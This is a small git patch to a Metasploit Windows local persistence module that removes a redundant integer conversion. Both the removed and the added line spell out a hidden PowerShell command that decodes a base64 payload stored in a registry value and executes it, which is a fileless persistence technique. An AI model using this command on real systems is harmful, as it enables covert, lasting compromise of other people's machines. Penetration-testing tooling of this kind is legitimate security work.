From 3c72135a2f3a17917491ba880e5d17a7c6b42248 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 18 Nov 2015 15:25:18 -0600 Subject: [PATCH] No to_i What happens here is it converts to a Fixnum, and then it converts back to a String anway because it's in a String. --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 1e9afcf7a1..6efe4a89dc 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Local end def generate_cmd(root_path, blob_key_name, blob_key_reg) - cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end